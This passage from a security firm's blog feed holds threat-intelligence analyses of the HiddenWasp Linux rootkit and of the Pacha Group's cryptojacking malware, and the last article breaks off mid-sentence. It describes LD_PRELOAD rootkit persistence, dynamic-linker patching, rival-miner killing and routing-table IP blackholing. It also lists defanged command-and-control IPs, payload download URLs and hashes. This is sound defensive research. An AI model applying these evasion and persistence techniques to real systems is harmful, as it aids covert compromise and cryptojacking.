The dynamic linker filename is usually prefixed with ld-&lt;version number&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig33.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Once the dynamic linker is located, the malware will find the offset where the
/etc/ld.so.preload string is located within the binary and will overwrite it
with the path of the new target preload path, that one being /sbin/.ifup-local.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig34.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;To achieve this patching it will execute the following formatted string by
using the xxd hex editor utility by previously having encoded the path of the
rootkit in hex:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig35.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Once it has changed the default LD_PRELOAD path from the dynamic linker it will
deploy a thread to enforce that the rootkit is successfully installed using the
new LD_PRELOAD path. In addition, the trojan will communicate with the rootkit
via the environment variable ‘I_AM_HIDDEN’ to serialize the trojan’s session
for the rootkit to apply evasion mechanisms on any other sessions.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig36.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After seeing the rootkit’s functionality, we can understand that the rootkit
and trojan work together in order to help each other to remain persistent in
the system, having the rootkit attempting to hide the trojan and the trojan
enforcing the rootkit to remain operational. The following diagram illustrates
this relationship:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig37.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Continuing with the execution flow of the trojan, a series of functions are
executed to enforce evasion of some artifacts:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig38.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;These artifacts are the following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig39.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;By performing some OSINT regarding these artifact names, we found that they
belong to a Chinese open-source rootkit for Linux known as
&lt;a href="https://github.com/yaoyumeng/adore-ng"target="_blank" rel="noopener"&gt;Adore-ng&lt;/a&gt; hosted in GitHub:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig40.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The fact that these artifacts are being searched for suggests that potentially
targeted Linux systems by these implants may have already been compromised with
some variant of this open-source rootkit as an additional artifact in this
malware’s infrastructure. Although those paths are being searched for in order
to hide their presence in the system, it is important to note that none of the
analyzed artifacts related to this malware are installed in such paths.&lt;/p&gt;
&lt;p&gt;This finding may imply that the target systems this malware is aiming to
intrude may be already known compromised targets by the same group or a third
party that may be collaborating with the same end goal of this particular
campaign.&lt;/p&gt;
&lt;p&gt;Moreover, the trojan communicated with a simple network protocol over TCP. We
can see that when connection is established to the Master or Stand-By servers
there is a handshake mechanism involved in order to identify the client.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig41.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;With the help of this function we where able to understand the structure of the
communication protocol employed. We can illustrate the structure of this
communication protocol by looking at a pcap of the initial handshake between
the server and client:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig42.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We noticed while analyzing this protocol that the Reserved and Method fields
are always constant, those being 0 and 1 accordingly. The cipher table offset
represents the offset in the hardcoded key-stream that the encrypted payload
was encoded with. The following is the fixed keystream this field makes
reference to:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig43.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After decrypting the traffic and analyzing some of the network related
functions of the trojan, we noticed that the communication protocol is also
implemented in json format. To show this, the following image is the decrypted
handshake packets between the CNC and the trojan:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig44.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After the handshake is completed, the trojan will proceed to handle CNC
requests:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig45.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Depending on the given requests the malware will perform different operations
accordingly. An overview of the trojan’s functionalities performed by request
handling are shown below:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/hiddenwasp-malware-targeting-linux-systems/images/fig46.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Prevention and Response&lt;span class="hx:absolute hx:-mt-20" id="prevention-and-response"&gt;&lt;/span&gt;
&lt;a href="#prevention-and-response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Prevention: Block Command-and-Control IP addresses detailed in the IOCs
section.&lt;/p&gt;
&lt;p&gt;Response: We have provided a
&lt;a href="https://github.com/intezer/yara-rules/blob/master/HiddenWasp.yar"target="_blank" rel="noopener"&gt;YARA rule&lt;/a&gt;
intended to be run against in-memory artifacts in order to be able to detect
these implants.&lt;/p&gt;
&lt;p&gt;In addition, in order to check if your system is infected, you can search for
“ld.so” files — if any of the files do not contain the string
‘/etc/ld.so.preload’, your system may be compromised. This is because the
trojan implant will attempt to patch instances of ld.so in order to enforce the
LD_PRELOAD mechanism from arbitrary locations.&lt;/p&gt;
&lt;h2&gt;Summary&lt;span class="hx:absolute hx:-mt-20" id="summary"&gt;&lt;/span&gt;
&lt;a href="#summary" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We analyzed every component of HiddenWasp explaining how the rootkit and trojan
implants work in parallel with each other in order to enforce persistence in
the system.&lt;/p&gt;
&lt;p&gt;We have also covered how the different components of HiddenWasp have adapted
pieces of code from various open-source projects. Nevertheless, these implants
managed to remain undetected.&lt;/p&gt;
&lt;p&gt;Linux malware may introduce new challenges for the security community that we
have not yet seen in other platforms. The fact that this malware manages to
stay under the radar should be a wake up call for the security industry to
allocate greater efforts or resources to detect these threats.&lt;/p&gt;
&lt;p&gt;Linux malware will continue to become more complex over time and currently even
common threats do not have high detection rates, while more sophisticated
threats have even lower visibility.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;103.206.123[.]13
103.206.122[.]245
http://103.206.123[.]13:8080/system.tar.gz
http://103.206.123[.]13:8080/configUpdate.tar.gz
http://103.206.123[.]13:8080/configUpdate-32.tar.gz
e9e2e84ed423bfc8e82eb434cede5c9568ab44e7af410a85e5d5eb24b1e622e3
f321685342fa373c33eb9479176a086a1c56c90a1826a0aef3450809ffc01e5d
d66bbbccd19587e67632585d0ac944e34e4d5fa2b9f3bb3f900f517c7bbf518b
0fe1248ecab199bee383cef69f2de77d33b269ad1664127b366a4e745b1199c8
2ea291aeb0905c31716fe5e39ff111724a3c461e3029830d2bfa77c1b3656fc0
d596acc70426a16760a2b2cc78ca2cc65c5a23bb79316627c0b2e16489bf86c0
609bbf4ccc2cb0fcbe0d5891eea7d97a05a0b29431c468bf3badd83fc4414578
8e3b92e49447a67ed32b3afadbc24c51975ff22acbd0cf8090b078c0a4a7b53d
f38ab11c28e944536e00ca14954df5f4d08c1222811fef49baded5009bbbc9a2
8914fd1cfade5059e626be90f18972ec963bbed75101c7fbf4a88a6da2bc671b&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Technical Analysis: Pacha Group Competing against Rocke Group for Cryptocurrency Mining Foothold on the Cloud</title><link>https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/</link><pubDate>Thu, 09 May 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/</guid><description>
&lt;p&gt;Pacha Group is a crypto-mining threat actor we at Intezer discovered and
profiled in a &lt;a href="../../../2019/02/technical-analysis-pacha-group"&gt;blog post&lt;/a&gt;
published on February 28, 2019. This threat actor targeted Linux servers dating
back to September 2018 and implemented advanced evasion and persistence
techniques.&lt;/p&gt;
&lt;p&gt;We have continued to monitor this threat actor and new findings show that Pacha
Group is also targeting cloud-based environments and conducting great efforts
to disrupt other crypto-mining groups, namely
&lt;a href="https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/"target="_blank" rel="noopener"&gt;Rocke Group&lt;/a&gt;
who is also known to target cloud environments.&lt;/p&gt;
&lt;p&gt;We believe that these findings are relevant within the context of bringing
awareness about cloud-native threats and our research may imply that cloud
environments are increasingly becoming a common target for adversaries.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In monitoring Pacha Group we have identified new, undetected Linux.GreedyAntd
variants that share code with previous variants.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Despite sharing nearly 30% of code with previous variants, detection rates of
the new Pacha Group variants are low:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The main malware infrastructure appears to be identical to previous Pacha Group
campaigns, although there is a distinguishable effort to detect and mitigate
Rocke Group’s implants. Rocke Group was first reported by
&lt;a href="https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html"target="_blank" rel="noopener"&gt;Cisco Talos&lt;/a&gt;
researchers and has deployed sophisticated crypto-mining campaigns in Linux
servers and cloud-based environments as reported by
&lt;a href="https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/"target="_blank" rel="noopener"&gt;Palo Alto Unit 42&lt;/a&gt;.
The following image is a blacklist of miners in which Linux.GreedyAntd searches
to eradicate. We have recognized several file names in this blacklist known to
be used for Rocke Group’s implants:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Furthermore, there are other strings within this file path blacklist which are
used to search for and disable cloud protection solutions, such as Alibaba
Server Guard Agent. Strings of malware
&lt;a href="https://www.reddit.com/r/linuxquestions/comments/bknurg/is_is_exploit_or_what/"target="_blank" rel="noopener"&gt;implants&lt;/a&gt;
known to have abused the
&lt;a href="https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html?_ga=2.116436864.700072651.1557244235-1322709726.1557244235"target="_blank" rel="noopener"&gt;Atlassian vulnerability&lt;/a&gt;
were also found. Rocke Group is known to hunt for similar security products and
to have
&lt;a href="https://community.atlassian.com/t5/Confluence-questions/How-come-my-confluence-installation-was-hacked-by-Kerberods/qaq-p/1054605#M141274"target="_blank" rel="noopener"&gt;abused&lt;/a&gt;
the same vulnerability.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Another interesting update in Pacha Group’s infrastructure in comparison to
previous campaigns is that further implants would only be able to be downloaded
from Pacha Group’s servers if the HTTP GET request was completed with a
specific User-Agent. In the following screenshot we can see how files can not
be downloaded unless the correct User-Agent is used:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In addition, Pacha Group’s component update seems to include a lightweight
user-mode rootkit known as Libprocesshider, which is an open source project
hosted on &lt;a href="https://github.com/gianlucaborello/libprocesshider"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt; and has
also been used by Rocke Group.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The malware updates &lt;code&gt;/etc/ld.preload&lt;/code&gt; to include the path of the dropped
library masquerading libconv.so, a unicode conversion library.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This shared object will export customized versions of readdir and readdir64
functions that will attempt to hide a process name from /proc filesystem of one
of the main components of the malware’s infrastructure, in charge to download
further implants in intervals along with enforcing process, file path and IP
blacklisting:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Along with process and file path blacklisting measures seen in previous
variants, we also observed that newer variants implement IP blacklisting using
an interesting technique.&lt;/p&gt;
&lt;p&gt;Right after process and file path black listing has been accomplished, we find
the following code:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig9.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Each of the IPs in the blacklist IP table is decoded and then added to the
system routing table with host scope via ioctl.&lt;/p&gt;
&lt;p&gt;This is more conveniently shown by observing the following system call trace:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;When we check the routing table of a compromised system we see the following:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig11.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Each of the decoded IPs have been added to the routing table with host scope.
This implies that when any of these IPs will be requested, each request will be
routed back to the host to be resolved instead of redirecting them to the
gateway, causing a failure in the routing process.&lt;/p&gt;
&lt;p&gt;In the following screenshot we can see the effect of this methodology by using
the ping utility:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After analyzing the IP blacklist we discovered that some of these IPs, even
though they may not necessarily be malicious, are known to have been used by
Rocke Group in the past. As an example, systemten.org is in this blacklist and
it is known that Rocke Group has &lt;a href="https://imgur.com/a/H7YuWuj"target="_blank" rel="noopener"&gt;used this&lt;/a&gt;
domain for their crypto-mining operations. The following are some domains that
correspond to their hardcoded IPs in Linux.GreedyAntd’s blacklist that have
Rocke Group correlations:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/05/technical-analysis-cryptocurrency-mining-war-on-the-cloud/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We have presented evidence that Pacha Group is targeting cloud-based
environments and being especially aggressive towards Rocke Group. We have based
this conclusion on the process blacklist used by Pacha Group and the newly
added IP blacklist which contains Rocke Group correlated artifacts.&lt;/p&gt;
&lt;p&gt;We have also provided a
&lt;a href="https://github.com/intezer/yara-rules/blob/master/GreedyAntd.yar"target="_blank" rel="noopener"&gt;YARA rule&lt;/a&gt;
in order to detect Pacha Group’s Linux.GreedyAntd implants based on reused code
among the implants.&lt;/p&gt;
&lt;p&gt;Cloud infrastructure is quickly becoming a common target for threat actors,
particularly on vulnerable Linux servers. Unfortunately the detection rates of
Linux-based malware remain low and the security community needs more awareness
in order to more effectively mitigate these threats.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;195.154.187[.]169
165.227.140[.]184
f46a9d2c3c9bfcc409534e0856f4614d6b42e792134dcf0f40df7295a777c879
d2e373c1341a28e18158272208a15decfa397640b6092b56158e0f52e4ff73a4
c098d5aeef316c3564b0b40a8a102147dae9c606fa92a2e2f0ad5c94cfe30222
42612f41befc57619646da5e91e7758dcc83cbaafbe5fdfa19d9f43a71f2504f
ce10e7a0fb517309b1e1141b44d3f9f7759e0f8889c0392774a5869f41006a3f
d94a6537adcea2f8ef3ed5ed41a548bc2b26b3acdeca9aaf6da4c933e7f47174
f83d75ab09634a7b818ef87c6509cca2c6f26f5f65b8d3448ebc86b52be62253
e5f6fbeb3981c9dfa126dc0a71a0aa41b56a09a89228659a7ea5f32aff4b2058&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;GreedyAntd Embedded IP Blacklist The following are IPs that the Pacha Group
attempts to block to prevent operation of other crypto-mining implants (notice
not to block these IPs. See the IPs to block in the above IOCs section):&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;139.99.120[.]73
47.95.85[.]22
62.210.75[.]99
113.55.8[.]24
62.210.75[.]99
42.56.76[.]104
198.204.231[.]250
47.90.213[.]21
116.62.232[.]226
134.209.104[.]20
198.12.156[.]218
207.148.76[.]229
188.165.254[.]85
58.56.187[.]66
89.35.39[.]78
37.139.22[.]136
37.44.212[.]223
54.36.137[.]146
139.99.120[.]50
37.120.131[.]220
104.20.209[.]21
198.12.156[.]218
34.196.173[.]143
34.193.88[.]221
35.168.52[.]211
104.248.4[.]162
130.61.54[.]136
139.99.120[.]50
198.12.156[.]218
166.62.38[.]167
185.193.125[.]146
132.148.148[.]79
188.165.254[.]85
104.20.208[.]21
37.187.95[.]110
158.69.25[.]62
104.31.93[.]26
104.25.140[.]10
60.191.25[.]101
104.248.53[.]213
60.191.13[.]119
104.130.210[.]206
193.56.28[.]207
37.187.95[.]110
89.35.39[.]78
81.4.122[.]134
37.44.212[.]223
148.251.133[.]246
52.41.214[.]241
52.25.124[.]181
54.68.226[.]153
136.243.89[.]164
104.20.209[.]21
176.9.2[.]144
37.59.43[.]136
78.46.89[.]102
37.59.45[.]174
91.121.2[.]76
176.9.53[.]68
37.59.55[.]60
178.63.48[.]196
37.187.154[.]79
37.59.44[.]93
78.46.91[.]134
37.59.54[.]205
23.175.0[.]142
104.140.244[.]186
136.243.102[.]157
5.254.96[.]150
51.15.56[.]161&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Technical Analysis: Pacha Group Deploying Undetected Cryptojacking Campaigns on Linux Servers</title><link>https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/</link><pubDate>Thu, 28 Feb 2019 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Cryptomining malware, also known as cryptojacking or cryptocurrency mining
malware, refers to software developed to take over a computer&amp;rsquo;s resources and
use them for
&lt;a href="https://www.webopedia.com/TERM/C/cryptocurrency-mining.html"target="_blank" rel="noopener"&gt;cryptocurrency mining&lt;/a&gt;
without a user&amp;rsquo;s explicit permission.&lt;/p&gt;
&lt;p&gt;There are several
&lt;a href="https://www.symantec.com/blogs/threat-intelligence/cryptojacking-modern-cash-cow"target="_blank" rel="noopener"&gt;reports&lt;/a&gt;
documenting this newer malware breed and how it has become more popular in the
last few years.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://translate.google.com/translate?hl=en&amp;amp;sl=auto&amp;amp;tl=en&amp;amp;u=https%3A%2F%2Fwww.acey.me%2Fantd-miner%2F"target="_blank" rel="noopener"&gt;Antd&lt;/a&gt;
is a miner found in the wild on September 18, 2018. Recently we discovered that
the authors from Antd are actively delivering newer campaigns deploying a broad
number of components, most of them completely undetected and operating within
compromised third party Linux servers. Furthermore, we have observed that some
of the techniques implemented by this group are unconventional, and there is an
element of sophistication to them. We believe the authors behind this malware
are from Chinese origin. We have labeled the undetected Linux.Antd variants,
Linux.GreedyAntd and classified the threat actor as &lt;strong&gt;Pacha Group&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig1.png" title="String Reuse from Antd and GreedyAntd" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;String Reuse from Antd and GreedyAntd&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Infrastructure Overview&lt;span class="hx:absolute hx:-mt-20" id="infrastructure-overview"&gt;&lt;/span&gt;
&lt;a href="#infrastructure-overview" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Based on our findings Linux.GreedyAntd’s operations closely resemble previous
&lt;a href="https://intezer.com/blog/cloud-security/competition-for-cryptocurrency-mining-foothold-on-the-cloud/?utm_campaign=research-blog&amp;amp;utm_content=technical-analysis-pacha-group&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;cryptojacking campaigns&lt;/a&gt;
deployed by Pacha Group in the past. A resumed overview of the current
infrastructure is as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The attack chain commences by intruding into a given vulnerable server. Based
on the services the compromised servers were publicly exposing, we can assume
the attackers opted to launch a brute-force attack against services like
WordPress or PhpMyAdmin, or used a known exploit for an outdated version of
alike services. The following is an overview of the open services and known
vulnerabilities found in one of the compromised systems:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Once the attackers are able to break into a given compromised server, they will
run a series of stages in their attack chain.&lt;/p&gt;
&lt;h3&gt;Main Dropper&lt;span class="hx:absolute hx:-mt-20" id="main-dropper"&gt;&lt;/span&gt;
&lt;a href="#main-dropper" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Once a system is compromised the first implant that will be executed is a UPX
packed statically linked stripped ELF. &lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This ELF binary is the main component in the intrusion stage and it is worth
dedicating a separate section to. We will refer to this binary as the ‘first
stage’ or ‘main dropper’ throughout the blog.&lt;/p&gt;
&lt;p&gt;This binary is responsible for various tasks. One of the first actions it will
take is to assure that the current compromised server is not infected by other
cryptominers by using a technique similar to that of a ‘bot kill’ approach (as
known in the DDoS scene) killing any other cryptominer that is currently
running in the system. The following list contains the file names belonging to
known foreign cryptominers: &lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We recognized that one of the file names in this list is the Korkerds miner
reported by
&lt;a href="https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/cryptocurrency-mining-malware-targets-linux-systems-uses-rootkit-for-stealth"target="_blank" rel="noopener"&gt;TrendMicro&lt;/a&gt;
as well as other known miners such as
&lt;a href="https://www.bleepingcomputer.com/news/security/mining-botnet-targeting-redis-and-orientdb-servers-made-almost-1-million/"target="_blank" rel="noopener"&gt;DDG&lt;/a&gt;
or &lt;a href="https://github.com/xmrig/xmrig"target="_blank" rel="noopener"&gt;XMRig&lt;/a&gt;. This reinforces the assumption that
the list is indeed a blacklist of file names of known miners operating in the
wild.&lt;/p&gt;
&lt;p&gt;Processes with a filepath residing in &lt;code&gt;/tmp/&lt;/code&gt;, &lt;code&gt;/usr/tmp&lt;/code&gt; or &lt;code&gt;/dev/shm&lt;/code&gt; will be
killed. We concluded that the purpose of this aggressive behavior is intended
to discover further miner processes or malware that were not covered in the
initial miner process blacklist.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2019/02/technical-analysis-pacha-group/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We have also noticed that some implants were checking for potential JBOSS
